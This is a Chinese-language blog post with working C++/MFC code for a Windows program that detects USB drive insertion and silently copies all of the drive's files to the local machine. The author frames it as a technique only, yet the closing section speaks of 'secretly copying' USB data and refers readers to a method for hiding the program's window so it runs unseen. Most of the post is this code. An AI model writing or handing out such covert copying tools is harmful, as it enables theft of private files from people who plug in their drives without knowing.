编程实现U盘插入自动复制U盘内容到本地

Jonesy

发布日期: 2018-12-05 21:21:26 浏览量: 1107
评分:
star star star star star star star star star star_border
*转载请注明来自write-bug.com

背景

U盘插入计算机后,不用任何操作,程序自动将U盘里的文件都拷贝到本地计算机上。这个功能是我自己开发的“恶魔的结界”系列程序里的一个小功能,至于有什么用,那就看个人的爱好了。在此,只探讨技术,不探讨用途。

现在,我就对它进行解析,整理成文档,分享给大家。

实现原理

这个程序的实现,可以分成两个部分:

  • U盘设备插入的监控,获取U盘盘符

  • 根据U盘盘符,遍历U盘文件,并进行复制操作

首先,对U盘设备插入的监控,可以参考我写的 “编程实现监控U盘或者其它移动设备的插入和拔出” 这篇文章,使用方法是对程序添加 WM_DEVICECHANGE 消息处理函数,并根据 DEV_BROADCAST_VOLUME 结构体的 dbcv_unitmask 逻辑单元掩码来计算出插入设备U盘的盘符。

我们成功获取了U盘盘复制后,也就知道了U盘的路径了。所以,我们使用WIN 32 API 函数 FindFirstFile 和 FindNextFile 从U盘的根目录进行文件遍历,具体的遍历方法解析可以参考本站上其他人写的 “使用FindFirstFile和FindNextFile函数实现文件搜索遍历” 这篇文章。 对于遍历到的文件,我们就调用 CopyFile 函数将它静默拷贝到本地指定的存储路径中。

这样,经过上述的两步操作,我们就可以实现插入U盘,自动拷贝U盘文件到本地的功能了。

编码实现

U盘插入监控

  1. // 监控U盘插入并获取U盘盘符
  2. LRESULT CUDiskCopy_TestDlg::OnDeviceChange(WPARAM wParam, LPARAM lParam)
  3. {
  4. switch (wParam)
  5. {
  6. // 设备已经插入
  7. case DBT_DEVICEARRIVAL:
  8. {
  9. PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
  10. // 逻辑卷
  11. if (DBT_DEVTYP_VOLUME == lpdb->dbch_devicetype)
  12. {
  13. // 根据 dbcv_unitmask 计算出设备盘符
  14. PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
  15. DWORD dwDriverMask = lpdbv->dbcv_unitmask;
  16. DWORD dwTemp = 1;
  17. char szDriver[4] = "A:";
  18. for (szDriver[0] = 'A'; szDriver[0] <= 'Z'; szDriver[0]++)
  19. {
  20. if (0 < (dwTemp & dwDriverMask))
  21. {
  22. // 获取设备盘符, 开始执行拷贝, 从目标设备拷贝到本地上
  23. SearchFile(szDriver);
  24. }
  25. // 左移1位, 接着判断下一个盘符
  26. dwTemp = (dwTemp << 1);
  27. }
  28. }
  29. break;
  30. }
  31. default:
  32. break;
  33. }
  34. return 0;
  35. }

U盘文件遍历及拷贝

  1. // 遍历文件并复制
  2. void SearchFile(char *pszDirectory)
  3. {
  4. // 搜索指定类型文件
  5. DWORD dwBufferSize = 2048;
  6. char *pszFileName = NULL;
  7. char *pTempSrc = NULL;
  8. WIN32_FIND_DATA FileData = { 0 };
  9. BOOL bRet = FALSE;
  10. // 申请动态内存
  11. pszFileName = new char[dwBufferSize];
  12. pTempSrc = new char[dwBufferSize];
  13. // 构造搜索文件类型字符串, *.*表示搜索所有文件类型
  14. ::wsprintf(pszFileName, "%s\\*.*", pszDirectory);
  15. // 搜索第一个文件
  16. HANDLE hFile = ::FindFirstFile(pszFileName, &FileData);
  17. if (INVALID_HANDLE_VALUE != hFile)
  18. {
  19. do
  20. {
  21. // 要过滤掉 当前目录"." 和 上一层目录"..", 否则会不断进入死循环遍历
  22. if ('.' == FileData.cFileName[0])
  23. {
  24. continue;
  25. }
  26. // 拼接文件路径
  27. ::wsprintf(pTempSrc, "%s\\%s", pszDirectory, FileData.cFileName);
  28. // 判断是否是目录还是文件
  29. if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
  30. {
  31. // 目录, 则继续往下递归遍历文件
  32. SearchFile(pTempSrc);
  33. }
  34. else
  35. {
  36. // 文件, 执行复制操作, 复制到本地上
  37. char szNewFile[MAX_PATH] = "C:\\Users\\Desktop\\test\\";
  38. ::lstrcat(szNewFile, FileData.cFileName);
  39. ::CopyFile(pTempSrc, szNewFile, FALSE);
  40. }
  41. // 搜索下一个文件
  42. } while (::FindNextFile(hFile, &FileData));
  43. }
  44. // 关闭文件句柄
  45. ::FindClose(hFile);
  46. // 释放内存
  47. delete[]pTempSrc;
  48. pTempSrc = NULL;
  49. delete[]pszFileName;
  50. pszFileName = NULL;
  51. }

程序测试

我们运行程序后,插入U盘,然后等待一会儿后,我们打开本地上保存U盘拷贝数据的目录,发现成功拷贝U盘里的文件。

总结

为了防止程序在秘密拷贝U盘数据的时候,程序会卡死,所以,可以创建一个多线程,把拷贝文件的操作放到多线程里去执行,这样就不会阻塞主线程了。

同时,创建本文演示的这个程序还没有对程序的窗口进行隐藏,如果你想要把这个程序做得比较隐蔽的话,可以参考本站上其他人写的 “编程实现MFC程序窗口一运行立马隐藏” 这篇文档,里面有介绍如何一开就隐藏窗口程序。

参考

参考自《Windows黑客编程技术详解》一书

上传的附件 cloud_download UDiskCopy_Test.7z ( 2.54mb, 51次下载 )

发送私信

如果这世界上真有奇迹,那只是努力的另一个名字

12
文章数
9
评论数
eject